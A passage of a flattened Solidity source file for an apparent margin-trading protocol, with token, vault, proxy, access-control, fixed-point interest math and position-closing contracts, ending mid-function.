pragma experimental "v0.5.0";
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
address public TOKEN_PROXY;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (address => uint256) public totalBalances;
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
balances[id][token] = balances[id][token].sub(amount);
totalBalances[token] = totalBalances[token].sub(amount);
assert(totalBalances[token] >= balances[id][token]);
TokenInteract.transfer(token, to, amount);
validateBalance(token);
}
function validateBalance(
address token
)
private
view
{
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
library Fraction {
struct Fraction128 {
uint128 num;
uint128 den;
}
}
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0);
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0);
}
}
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1;
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
library MathHelpers {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0);
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
function maxUint32(
)
internal
pure
returns (uint32)
{
return 2 ** 32 - 1;
}
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
assert(numerator < 2**128);
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128);
uint256 term2 = n % (2 ** 128);
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
term1 = term1 >> (uint256(128).sub(numBits));
}
}
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
library MarginState {
struct State {
address VAULT;
address TOKEN_PROXY;
mapping (bytes32 => uint256) loanFills;
mapping (bytes32 => uint256) loanCancels;
mapping (bytes32 => MarginCommon.Position) positions;
mapping (bytes32 => bool) closedPositions;
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
interface LoanOwner {
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
interface PositionOwner {
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
library TransferInternal {
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
library MarginCommon {
using SafeMath for uint256;
struct Position {
address owedToken;
address heldToken;
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit;
uint32 startTimestamp;
uint32 callTimestamp;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
return position;
}
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
interface PayoutRecipient {
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
returns (bool);
}
interface CloseLoanDelegator {
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
interface ClosePositionDelegator {
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
library ClosePositionShared {
using SafeMath for uint256;
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
